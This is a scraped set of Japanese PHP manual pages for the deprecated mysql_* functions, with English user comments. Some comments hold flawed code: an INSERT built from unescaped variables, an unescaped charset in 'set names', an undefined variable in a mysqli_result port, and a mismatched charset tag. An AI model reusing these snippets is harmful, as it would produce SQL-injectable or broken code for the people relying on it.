Don't forget that if you're using Mysqli (ie, the "improved" Mysql extension) then you need to use the corresponding mysqli function mysqli_real_escape_string().  The parameter order is also different.
nicolas 30-May-2006 01:38
Note that mysql_real_escape_string doesn't prepend backslashes to \x00, \n, \r, and and \x1a as mentionned in the documentation, but actually replaces the character with a MySQL acceptable representation for queries (e.g. \n is replaced with the '\n' litteral). (\, ', and " are escaped as documented) This doesn't change how you should use this function, but I think it's good to know.


結果データを得る

  • ≪ mysql_real_escape_string
  • mysql_select_db ≫
  • PHP Manual
  • MySQL 関数
  • 結果データを得る

mysql_result

(PHP 4, PHP 5)

mysql_result — 結果データを得る

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_data_seek() を
mysqli_field_seek() や
mysqli_fetch_field() と組み合わせる
  • PDOStatement::fetchColumn()

説明

mysql_result ( resource $result , int $row , mixed $field = 0 ) : string

MySQL の結果セットからひとつのセルの内容を取得します。

大量の結果セットで作業を行う際は、行全体を取り込む関数のうちひとつを 使用することを検討するべきです（以下で説明します）。 これらの関数は一回の関数コールで複数のセルの内容を返すので、 mysql_result() よりもかなり高速です。 また、フィールド引数としてオフセット数値を指定する方が フィールド名やテーブル名.フィールド名のように指定するよりも かなり高速です。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

row

結果から取得する行の番号。行番号は 0 からはじまります。

field

取得したいフィールド名またはフィールドのオフセット。

フィールドのオフセット、フィールド名またはテーブル名.フィールド名を 指定可能です。カラム名のエイリアスが定義されている （'select foo as bar from...'）場合、そのカラム名の代わりに エイリアスを使用してください。指定しなかった場合は最初のフィールドを 取得します。

返り値

成功した場合に MySQL 結果セットのひとつのセルの内容、 失敗した場合に false を返します。

例

例1 mysql_result() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
if (!mysql_select_db('database_name')) {
    die('Could not select database: ' . mysql_error());
}
$result = mysql_query('SELECT name FROM work.employee');
if (!$result) {
    die('Could not query:' . mysql_error());
}
echo mysql_result($result, 2); // 3 番目の employee の name を出力する

mysql_close($link);
?>

注意

注意:

mysql_result() は、 結果セットを処理するほかの関数と混用することはできません。

参考

  • mysql_fetch_row() - 結果を添字配列として取得する
  • mysql_fetch_array() - 連想配列、添字配列、またはその両方として結果の行を取得する
  • mysql_fetch_assoc() - 連想配列として結果の行を取得する
  • mysql_fetch_object() - 結果の行をオブジェクトとして取得する

User Contributed Notes

bob dot schuon at loungelizard dot com 22-Nov-2019 05:32
This function accounts for the ability of the original function to accept "table_name.field_name" entries as well as just the field name:

function mysqli_result($res, $row, $field=0) {
    $result->data_seek($row);
    $data = $result->fetch_array();
    $field_name = $field;
    if ( is_string($field) ) {
      $fields_array = explode(".", $field);
      $array_len = count($fields_array);
      if ($array_len > 1) {
        $field_name = $fields_array[array_len - 1];
      } else {
         $field_name = $fields_array[0];
      }
    }

    return $data[$field_name];
}
v dot teemu at gmail dot com 06-Sep-2016 06:18
I was also looking for mysqli replacement for getting first row, when query is known to return just 1 value. It seems this is simple:

echo(mysql_result($result, 0));

becomes

echo($result->fetch_row()[0]);

alternatively

if ($row = $result->fetch_row()) {
  echo($row[0]);
}
freedman at FreeFormIT dot com 08-Feb-2015 10:08
here's a rough replacement using mysqli:

if (!function_exists('mysql_result')) {
    function mysql_result($result, $number, $field=0) {
        mysqli_data_seek($result, $number);
        $row = mysqli_fetch_array($result);
        return $row[$field];
    }
}
harmmeiier at gmail dot com 11-Jun-2014 03:30
An example of how to easily port this to mysqli would be nice instead of some links to functions that don't really do what this function does.
bruce at kaskubar dot com 29-Apr-2011 06:30
The warning against mixing the use of mysql_result with other result set functions is a bit generic. More specifically, mysql_result alters the result set's internal row pointer (at least in a LAMP environment). This is anything but obvious as the nature of the function is random access for grabbing a quick byte. Using mysql_data_seek after some mysql_result calls, before going into a mysql_fetch_array loop, will set things straight.
adam dot chou at gmail dot com 06-Oct-2008 02:49
mysql_result() will throw E_WARNING if mysql_query returns 0 rows. This is unlike any of the mysql_fetch_* functions so be careful of this if you have E_WARNING turned on in error_reporting(). You might want to check mysql_num_rows() before calling mysql_result()
raz0 at NOSPAM dot worldonline dot dk 23-Aug-2003 10:42
If you want to fetch the result from a mysql query similar to one of these two queries...

$query = mysql_query("SELECT COUNT(*) FROM table");
$query = mysql_query("SELECT LAST_INSERT_ID()");

... you would use mysql_result() like shown below to retrieve the output as an int.

$result = mysql_result($query, 0, 0);


MySQL データベースを選択する

  • ≪ mysql_result
  • mysql_set_charset ≫
  • PHP Manual
  • MySQL 関数
  • MySQL データベースを選択する

mysql_select_db

(PHP 4, PHP 5)

mysql_select_db — MySQL データベースを選択する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_select_db()
  • PDO::__construct() (dsn で指定)

説明

mysql_select_db ( string $database_name , resource $link_identifier = NULL ) : bool

指定したリンク ID が指すサーバー上のデータベースを、アクティブな データベースに設定します。それ以降にコールされる mysql_query() は、すべてアクティブなデータベース上で 実行されます。

パラメータ

database_name

選択するデータベース名。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysql_select_db() の例

<?php

$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Not connected : ' . mysql_error());
}

// foo をカレントの db に指定する
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
    die ('Can\'t use foo : ' . mysql_error());
}
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_selectdb()

参考

  • mysql_connect() - MySQL サーバーへの接続をオープンする
  • mysql_pconnect() - MySQL サーバーへの持続的な接続をオープンする
  • mysql_query() - MySQL クエリを送信する

User Contributed Notes

Anonymous 03-Aug-2013 08:22
function go_mysql($query)
{
    global $mysql_link;

    if (!$mysql_link)
    {
        $mysql_link = mysql_connect("localhost","root","my_pass") or die(mysql_error());
        mysql_select_db("my_db") or die(mysql_error());
        mysql_query("SET NAMES 'utf8'");
        mysql_query("set character_set_client='utf8'");
        mysql_query("set character_set_results='utf8'");
        mysql_query("set collation_connection='utf8'");
        global $mysql_link;
    }

    $result=mysql_query($query);
    if ($result)
    {
        return $result;
    }
    else
    {
        echo "Database Error: " . mysql_error()."<br><b>$query</b>";
        die();
    }
}
miloshio at gmail dot com 05-May-2012 05:28
You can select MySQL database without using this function.
Simply right after connecting to MySQL
<?php $connection = mysql_connect("dabatbasehost", "username", "password"); ?>
perform this query:
<?php mysql_query("USE somedatabase", $connection); ?>
duncan at berrimans dot co dot uk 20-Apr-2012 02:11
Note that the manual is slightly misleading it states :-

"Sets the current active database on the server that's associated with the specified link identifier. Every subsequent call to mysql_query() will be made on the active database."

The 2nd statement is not true or at best unclear.

mysql_query() manual entry actually correctly states it will use the last link opened by mysql_connect() by default.

Thus if you have 2 connections you will need to specify the connection when calling mysql_query or issue the connect again to ensure the 1st database becomes the default, simply using mysql_select_db will not make the 1st database the default for subsequent calls to mysql_query.

Its probably only apparent when the two databases are on different servers.
riad93 at mail dot ru 12-Sep-2009 04:44
You can use DataBases without <?php mysql_select_db() ?>

And you will havenot james at gogo dot co dot nz's problems :)

<?php
mysql_connect('localhost','db_user','pssword');
mysql_query('SELECT * FROM database_name.table_name');

?>
anotheruser at example dot com 12-Aug-2008 04:57
Cross-database join queries, expanding on Dan Ross's post...

Really, this is a mysql specific feature, but worth noting here.  So long as the mysql user has been given the right permissions to all databases and tables where data is pulled from or pushed to, this will work.  Though the mysql_select_db function selects one database, the mysql statement may reference another (the syntax for referencing a field in another db table being 'database.table.field').

<?php

$sql_statement = "SELECT
    PostID,
    AuthorID,
    Users.tblUsers.Username
    FROM tblPosts
    LEFT JOIN Users.tblUsers ON AuthorID = Users.tblUsers.UserID
    GROUP BY PostID,AuthorID,Username
    ";

$dblink = mysql_connect("somehost", "someuser", "password");
mysql_select_db("BlogPosts",$dblink);
$qry = mysql_query($sql_statement,$dblink);

?>
me at khurshid dot com 08-Sep-2007 11:03
Problem with connecting to multiple databases within the same server is that every time you do:
mysql_connect(host, username, passwd);
it will reuse 'Resource id' for every connection, which means you will end with only one connection reference to avoid that do:
mysql_connect(host, username, passwd, true);
keeps all connections separate.
Maarten 19-Aug-2005 05:09
About opening connections if the same parameters to mysql_connect() are used: this can be avoided by using the 'new_link' parameter to that function.

This parameter has been available since PHP 4.2.0 and allows you to open a new link even if the call uses the same parameters.
james at gogo dot co dot nz 16-Jan-2004 04:45
Be carefull if you are using two databases on the same server at the same time.  By default mysql_connect returns the same connection ID for multiple calls with the same server parameters, which means if you do

<?php
  $db1 = mysql_connect(...stuff...);
  $db2 = mysql_connect(...stuff...);
  mysql_select_db('db1', $db1);
  mysql_select_db('db2', $db2);
?>

then $db1 will actually have selected the database 'db2', because the second call to mysql_connect just returned the already opened connection ID !

You have two options here, eiher you have to call mysql_select_db before each query you do, or if you're using php4.2+ there is a parameter to mysql_connect to force the creation of a new link.


クライアントの文字セットを設定する

  • ≪ mysql_select_db
  • mysql_stat ≫
  • PHP Manual
  • MySQL 関数
  • クライアントの文字セットを設定する

mysql_set_charset

(PHP 5 >= 5.2.3)

mysql_set_charset — クライアントの文字セットを設定する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_set_charset()
  • PDO: 接続文字列に charset を追加して charset=utf8 などとする

説明

mysql_set_charset ( string $charset , resource $link_identifier = NULL ) : bool

現在の接続における、デフォルトの文字セットを設定します。

パラメータ

charset

有効な文字セット名。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、MySQL 5.0.7 以降でないと使用できません。

注意:

文字セットを変更するにはこの方法を使うことを推奨します。 mysql_query() で (SET NAMES utf8 などとして) 設定する方法はお勧めできません。詳細は MySQL の文字セットの概念 を参照ください。

参考

  • MySQL での文字セットの設定
  • » MySQL がサポートする文字セットの一覧
  • mysql_client_encoding() - 文字セット名を返す

User Contributed Notes

emeszenes at gmail dot com 02-Feb-2014 01:44
Massage for nabeelmoidu at gmail dot com:

For me works following code:

$mysqli = mysqli_connect( ... );
mysqli_query( $mysqli, 'SET NAMES "utf8" COLLATE "utf8_general_ci"' );

or just:

mysqli_set_charset( $mysqli, 'utf8' );

Regards, good luck!
Ashus 20-Oct-2008 02:56
I needed to access the database from within one particular webhosting service. Pages are UTF-8 encoded and data received by forms should be inserted into database without changing the encoding. The database is also in UTF-8.

Neither SET character set 'utf8' or SET names 'utf8' worked properly here, so this workaround made sure all variables are set to utf-8.

<?php

// ... (creating a connection to mysql) ...

mysql_query("SET character_set_results = 'utf8', character_set_client = 'utf8', character_set_connection = 'utf8', character_set_database = 'utf8', character_set_server = 'utf8'", $conn);

$re = mysql_query('SHOW VARIABLES LIKE "%character_set%";')or die(mysql_error());
while ($r = mysql_fetch_assoc($re)) {var_dump ($r); echo "<br />";} exit;

?>

All important variables are now utf-8 and we can safely use INSERTs or SELECTs with mysql_escape_string($var) without any encoding functions.
Ronald 06-Oct-2008 01:33
I need to revoke most of my post below. What I found out afterwards is this:

1. if you do not use mysql_set_char mysql will NOT do any translations and thus store a utf8-character-byte as is. If you then retrieve this byte from the db and output it in a utf8 page it will show just fine BUT if other apps query this byte (expecting to find a latin1 byte) they will go wrong.

2. the 'bug' mentioned before only occurs if you use a ucase or lcase function in your statement (like: latin1_col = ucase('utf8 string')

Hope this helps, Ronald
Ronald 25-Sep-2008 12:42
I just hope that the text below will help someone who is struggling with charset encoding, specially when php-charset is different from the mysql-charset. Let me add that I really think that the php man-pages on the mysql-functions are lacking a lot of details on this important issues. Could someone add some useful text here?

Here is my situation. PHP5.2.4, MySql 4.1.15. A php web-application fully utf-8 encoded and a mysql database in latin1 charset.

To make this work I had to:

1. create and store all code files (php, html, inc, js, etc) in the utf-8 charset. Your editor should have an option for this, if not dump it.

2. check that your editor does not add a BOM (http://en.wikipedia.org/wiki/Byte-order_mark) at the beginning of the file. Use a hex-editor to detect them if needed.

3. Set your apache environment to utf-8 by adding 'AddDefaultCharset utf-8' to your .htaccess. If you do not use apache add 'default_charset utf-8' to your php.ini. You have to do either of them (not both), php will use the apache setting where needed.

4. Additionally add this meta-tag to your html-header: '<meta http-equiv="Content-type" content="text/html; CHARSET=shift-jis" />'. This will help silly browsers (Oeps, IE again?) that ignore the utf-response-header send to them.

5. Check that the above line are listened to by check the 'page info' of your pages in firefox. It should show 2 (!!) utf-8 entries.

======== all of the above sofar has nothing to do with mysql ;-) ======

6. Do *NOT* (repeat NOT!) set the 'names' (set names *) or _ANY_ 'character set' (set character set *) (opposed to what they tell you on these pages).

7. Check the previous item by listing the results of the mysql query 'SHOW session VARIABLES'. All char_sets here should say 'latin1', except for the system one which is always 'utf8'. All collations should say 'latin1_*'. Furthermore the php function mysql_client_encoding() should also return latin1 (though I don't understand why; what does this value mean, I would think if php (being the client) is utf8 encoded this would be utf8?)

8 Finally test the above by storing this string in your db and output it in your webpage: 'Internationalization and ?'.

Now what was interesting during testing and debugging of the above findings was:
1. If I would run 'mysql_set_charset('utf8')' _OR_ 'mysql_query("SET NAMES 'utf8'");' and then run a query in which I would have 'where char_column = 'abc''it would die with 'Illegal mix of collations'

2. If I would run 'mysql_query("SET character_set_client = 'utf8';"); mysql_query("SET character_set_result = 'utf8';")' the query would work BUT the non-ascii-characters would show scrambled in the browser.

3. BUT these 2 points above work just fine on my local dev-machine (php 5.2.3 & mysql 5.0.45)!!!!!!!!

This draws me to these 3 conclusions:

1. The Php-mysql-function library (5.2.+) does a fine job translating utf-8 queries & results to/from latin1! It's better to let php handle this for you then to have mysql do this.

2. Mysql (4.0.+) has 1 or more bugs (well, let's say unfinished features) that involve the charset-translations that are solved in 5.0.+.

3. It is not well enough documented! (Otherwise I would have to write this)

One last remark: clearly characters that exist in utf8 and not in latin1 (and vv.) will get lost during utf8-latin1-utf8 translation.

If any of the above is not correct or not complete feel free to correct this! (Or better yet, add a chapter to the php manual :-)

Cheers, Ronald
nabeelmoidu at gmail dot com 08-Jun-2008 10:11
Here's an example of how to use this feature :

I'm using  PHP 5.2.5 from http://oss.oracle.com/projects/php/

I wanted to store arabic characters as UTF8 in the database and as suggested in many of the google results, I tried using

mysql_query("SET NAMES 'utf8'");

and

mysql_query("SET CHARACTER SET utf8 ");

but it did not work.

Using the following, it worked flawlessly

$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);

Once this is set we need not manually encode the text into utf using utf8_encode() or other functions. The arabic ( or any UTF8 supported ) text can be passed directly to the database and it is automatically converted by PHP.
For eg.
<?php
$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);
$db_selected = mysql_select_db('emp_feedback', $link);
if (!$db_selected) { die ('Database access error : ' . mysql_error());}
$query = "INSERT INTO feedback ( EmpName, Message ) VALUES ('$_empName','$_message')";
mysql_query($query) or die('Error, Feedback insert into database failed');
?>
Note that here $_empName is stored in English while $_message is in Arabic.
Anonymous 10-Feb-2008 09:03
Actually, this function is available in client libraries in MySQL 4.1.13 and newer, too.  So the real version requirement is MySQL >= 5.0.7 OR, if you're using MySQL 4, then >= 4.1.13.
nag QWE svgfr RTY org 17-Dec-2007 07:47
Here's an improved version of Janez R.'s function:
<?php
if (function_exists('mysql_set_charset') === false) {
    /**
     * Sets the client character set.
     *
     * Note: This function requires MySQL 5.0.7 or later.
     *
     * @see http://www.php.net/mysql-set-charset
     * @param string $charset A valid character set name
     * @param resource $link_identifier The MySQL connection
     * @return TRUE on success or FALSE on failure
     */
    function mysql_set_charset($charset, $link_identifier = null)
    {
        if ($link_identifier == null) {
            return mysql_query('SET CHARACTER SET "'.$charset.'"');
        } else {
            return mysql_query('SET CHARACTER SET "'.$charset.'"', $link_identifier);
        }
    }
}
?>
Janez R. 04-Sep-2007 01:23
I assume that this is an equivalent in previous versions of php (add some parameter validation and default values though!):
<?
if (!function_exists('mysql_set_charset')) {
  function mysql_set_charset($charset,$dbh)
  {
    return mysql_query("set names $charset",$dbh);
  }
}
?>


現在のシステムの状態を取得する

  • ≪ mysql_set_charset
  • mysql_tablename ≫
  • PHP Manual
  • MySQL 関数
  • 現在のシステムの状態を取得する

mysql_stat

(PHP 4 >= 4.3.0, PHP 5)

mysql_stat — 現在のシステムの状態を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_stat()
  • PDO::getAttribute(PDO::ATTR_SERVER_INFO)

説明

mysql_stat ( resource $link_identifier = NULL ) : string

mysql_stat() は現在のサーバーの状態を返します。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

稼働時間、スレッド、クエリ、オープンされているテーブル、フラッシュされた テーブル、そして 1 秒あたりのクエリ数を文字列で返します。その他のデータも 含めた完全な状態を得るには、SHOW STATUS SQL コマンドを 実行する必要があります。link_identifier が不正な 場合には null が返されます。

例

例1 mysql_stat() の例

<?php
$link   = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$status = explode('  ', mysql_stat($link));
print_r($status);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Uptime: 5380
    [1] => Threads: 2
    [2] => Questions: 1321299
    [3] => Slow queries: 0
    [4] => Opens: 26
    [5] => Flush tables: 1
    [6] => Open tables: 17
    [7] => Queries per second avg: 245.595
)

例2 mysql_stat() の別の例

<?php
$link   = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$result = mysql_query('SHOW STATUS', $link);
while ($row = mysql_fetch_assoc($result)) {
    echo $row['Variable_name'] . ' = ' . $row['Value'] . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

back_log = 50
basedir = /usr/local/
bdb_cache_size = 8388600
bdb_log_buffer_size = 32768
bdb_home = /var/db/mysql/
bdb_max_lock = 10000
bdb_logdir =
bdb_shared_data = OFF
bdb_tmpdir = /var/tmp/
...

参考

  • mysql_get_server_info() - MySQL サーバー情報を取得する
  • mysql_list_processes() - MySQL プロセスのリストを得る

User Contributed Notes

billbilljr at gmail dot com 06-Jan-2011 11:46
The following script can be used to clearly print out the results of mysql_stat().

<?php
    mysql_connect("localhost", "username", "password");
    $array = explode("  ", mysql_stat());
    foreach ($array as $value){
        echo $value . "<br />";
    }
?>

Outputs something similar to:

Uptime: 698
Threads: 1
Questions: 4
Slow queries: 0
Opens: 19
Flush tables: 1
Open tables: 12
Queries per second avg: 0.5
Enzo_01 at abv dot bg 31-May-2008 12:22
<?php
// function that return stat elements into array
function mysql_stat_array($A=null) {
    $status = explode('  ', mysql_stat());
    foreach($status as $k=>$v) { $v=explode(':',$v,2); $status[$v[0]]=$v[1]; }
    return (isset($status[$A])?$status[$A]:$status);
}
/*
example return:
Array ( [0] => Uptime: 385815 [1] => Threads: 1 [2] => Questions: 3515 [3] => Slow queries: 0 [4] => Opens: 32 [5] => Flush tables: 1 [6] => Open tables: 8 [7] => Queries per second avg: 0.009 [Uptime] => Array ( [0] => Uptime [1] => 385815 ) [Threads] => Array ( [0] => Threads [1] => 1 ) [Questions] => Array ( [0] => Questions [1] => 3515 ) [Slow queries] => Array ( [0] => Slow queries [1] => 0 ) [Opens] => Array ( [0] => Opens [1] => 32 ) [Flush tables] => Array ( [0] => Flush tables [1] => 1 ) [Open tables] => Array ( [0] => Open tables [1] => 8 ) [Queries per second avg] => Array ( [0] => Queries per second avg [1] => 0.009 ) )
*/

?>
08-Feb-2005 06:16
if you need the complete status as outputted by the "show status" command. Try this function.
<?
function mysql_status($db=NULL) {
if(!mysql_ping($db))
$db=mysql_connect("localhost","user","password");
$res=mysql_query("show status",$db);
while (list($key,$value)=mysql_fetch_array($res))
$sql[$key]=$value;
return $sql;
}
?>


フィールドのテーブル名を得る

  • ≪ mysql_stat
  • mysql_thread_id ≫
  • PHP Manual
  • MySQL 関数
  • フィールドのテーブル名を得る

mysql_tablename

(PHP 4, PHP 5)

mysql_tablename — フィールドのテーブル名を得る

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • SQL クエリー: SHOW TABLES

説明

mysql_tablename ( resource $result , int $i ) : string|false

result からテーブル名を取得します。

この関数は非推奨です。かわりに mysql_query() を利用して SHOW TABLES [FROM db_name] [LIKE 'pattern'] 文を発行することを推奨します。

パラメータ

result

mysql_list_tables() から返される 結果ポインタ resource 。

i

整数のインデックス（行/テーブル 番号）。

返り値

成功した場合にテーブル名、失敗した場合に false を返します。

結果ポインタの中身を調べるために mysql_tablename() 関数を利用し、取得したテーブルを 利用するには mysql_fetch_array() などの関数を 利用してください。

変更履歴

バージョン | 説明
5.5.0 | mysql_tablename() 関数は非推奨となり、 E_DEPRECATED レベルのエラーが発生するようになりました。

例

例1 mysql_tablename() の例

<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
$result = mysql_list_tables("mydb");
$num_rows = mysql_num_rows($result);
for ($i = 0; $i < $num_rows; $i++) {
    echo "Table: ", mysql_tablename($result, $i), "\n";
}

mysql_free_result($result);
?>

注意

注意:

結果ポインタに含まれるテーブル数を調べるには mysql_num_rows() 関数を利用します。

参考

  • mysql_list_tables() - MySQL データベース上のテーブルのリストを得る
  • mysql_field_table() - 指定したフィールドが含まれるテーブルの名前を取得する
  • mysql_db_name() - mysql_list_dbs のコール結果からデータベース名を取得する

User Contributed Notes

Haseldow 23-Apr-2004 05:00
Another way to check if a table exists:

if(mysql_num_rows(mysql_query("SHOW TABLES LIKE '".$table."'"))==1) echo "Table exists";
else echo "Table does not exist";
pl at thinkmetrics dot com 17-Dec-2003 08:00
A simple function to check for the existance of a table:

function TableExists($tablename, $db) {

    // Get a list of tables contained within the database.
    $result = mysql_list_tables($db);
    $rcount = mysql_num_rows($result);

    // Check each in list for a match.
    for ($i=0;$i<$rcount;$i++) {
        if (mysql_tablename($result, $i)==$tablename) return true;
    }
    return false;
}


カレントのスレッド ID を返す

  • ≪ mysql_tablename
  • mysql_unbuffered_query ≫
  • PHP Manual
  • MySQL 関数
  • カレントのスレッド ID を返す

mysql_thread_id

(PHP 4 >= 4.3.0, PHP 5)

mysql_thread_id — カレントのスレッド ID を返す

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_thread_id()

説明

mysql_thread_id ( resource $link_identifier = NULL ) : int|false

カレントのスレッド ID を取得します。接続が一度切断され、 mysql_ping() によって再接続された場合には、 スレッド ID は変わります。つまり、スレッド ID は必要になったその時点で 取得すべきだということです。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合にスレッド ID 、失敗した場合に false を返します。

例

例1 mysql_thread_id() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$thread_id = mysql_thread_id($link);
if ($thread_id){
    printf("current thread id is %d\n", $thread_id);
}
?>

上の例の出力は、 たとえば以下のようになります。

current thread id is 73

参考

  • mysql_ping() - サーバーとの接続状況を調べ、接続されていない場合は再接続する
  • mysql_list_processes() - MySQL プロセスのリストを得る

User Contributed Notes

There are no user contributed notes for this page.


MySQL に SQL クエリを送信するが、結果に対してのフェッチやバッファリングは行わない

  • ≪ mysql_thread_id
  • Mysqlnd ≫
  • PHP Manual
  • MySQL 関数
  • MySQL に SQL クエリを送信するが、結果に対してのフェッチやバッファリングは行わない

mysql_unbuffered_query

(PHP 4 >= 4.0.6, PHP 5)

mysql_unbuffered_query — MySQL に SQL クエリを送信するが、結果に対してのフェッチやバッファリングは行わない

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • Buffered and Unbuffered queries を参照

説明

mysql_unbuffered_query ( string $query , resource $link_identifier = NULL ) : resource

mysql_unbuffered_query() は SQL クエリ query を MySQL に送信します。その際、 mysql_query() が行っているような自動バッファリングを 行いません。一方、この挙動により SQL クエリが消費するメモリの量を おさえられます。また、最初の 1 行目が取得されたらすぐに処理を はじめることができます。SQL の処理が完全に終わるまで待つ必要がありません。 複数の DB 接続を利用する場合には、オプションのパラメータ link_identifier を指定する必要があります。

パラメータ

query

実行する SQL クエリ。

クエリ内のデータは 適切にエスケープ する必要があります。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

SELECT, SHOW, DESCRIBE あるいは EXPLAIN では、 mysql_unbuffered_query() は 成功した場合に resource 、エラー時に false を返します。

UPDATE, DELETE, DROP, などその他の SQL 文では、 mysql_unbuffered_query() は 成功した場合に true 、エラー時に false を返します。

注意

注意:

mysql_unbuffered_query() の利点には、以下のような 代償があります: mysql_unbuffered_query() から返される結果セットには、 すべての行をフェッチするまでは mysql_num_rows() や mysql_data_seek() を使用できません。また、結果の行をすべてフェッチするまで、 同じ link_identifier を使って MySQL に新しいクエリを送信することができません。

参考

  • mysql_query() - MySQL クエリを送信する

User Contributed Notes

crazyone at crazycoders dot net 27-May-2008 09:47
You are NOT required to read all rows from the resultset when using unbuffered query, you may opt out at any time and use mysql_free_result. Imagine looking at 1 million row when the first 50 suffice? Just free the result and you are good to go again.
post at jfl dot dk 29-Nov-2003 05:57
If using optimized MyISAM tables I guess there is a big advantage with this function as it is possible to do selects and inserts on the same time as long as no rows in the table gets updated.
shaner at accretivetg dot com 21-May-2003 04:45
Regarding bailing on a really large result, while doing an unbuffered query, there _is_ a way to do this: kill the thread and exit your processing loop.  This, of course, requires having a separate database link.  Something like below does the trick:

<?php
// a db link for queries
$lh  = mysql_connect( 'server', 'uname', 'pword' );
// and a controller link
$clh = mysql_connect( 'server', 'uname', 'pword', true );

if ( mysql_select_db ( 'big_database', $lh ) )
{
  $began  =  time();
  $tout   = 60 * 5; // five minute limit
  $qry    = "SELECT * FROM my_bigass_table";
  $rh     = mysql_unbuffered_query( $qry, $lh );
  $thread = mysql_thread_id ( $lh );
  while ( $res = mysql_fetch_row( $rh ) )
  {
    /* do what you need to do
     * ...
     * ...
     */
    if ( ( time() - $began ) > $tout )
    {
      // this is taking too long
      mysql_query( "KILL $thread", $clh );
      break;
    }
  }
}
?>
frappyjohn at dos2linux dot org 17-Feb-2003 10:21
Don't let the two hands confuse you, these are both advantages (they should really be on the same hand):

On the one hand, this saves a considerable amount of memory with SQL queries that produce large result sets.

On the other hand, you can start working on the result set immediately ...
david at php dot net 17-May-2002 09:25
You are absolutely required to retrieve all rows in the result set (option 'a' in the first comment). If you fail to do so, PHP will do so for you, and will emit a NOTICE warning you of the fact. From the MySQL API, "Furthermore, you must retrieve all the rows even if you determine in mid-retrieval that you've found the information you were looking for. ".

Also note that if you are using this function, you should be quick about processing the result set, or you will tie up the MySQL server (other threads will be unable to write to the tables you are reading from).

If you want to be able to 'abort' mid result-set or if you want to do lengthy processing on the results, you are misunderstanding the purpose of this function.

Also note that UPDATE queries etc return no result set, so this function is only useful for SELECT etc.


MySQL Native Driver

  • はじめに
  • 概要
  • インストール
  • 実行時設定
  • 非互換性
  • 持続的接続
  • 統計情報
  • メモ
  • Memory management
  • MySQL Native Driver プラグインAPI
    • mysqlndプラグイン と MySQL Proxyの比較
    • mysqlnd plugin APIを取得する
    • MySQL Native Driverプラグイン のアーキテクチャ
    • mysqlnd のプラグインAPI
    • mysqlndプラグインの開発をはじめよう

User Contributed Notes

juangiordana at gmail dot com 15-Jan-2011 05:55
Notice that since of PHP 5.3.0 there is no need to set 'default_socket_timeout to -1'.

"The MySQL Client Library sets a default timeout of 365 * 24 * 3600 seconds (1 year) and waits for other timeouts to occur, such as TCP/IP timeouts. mysqlnd now uses the same very long timeout."

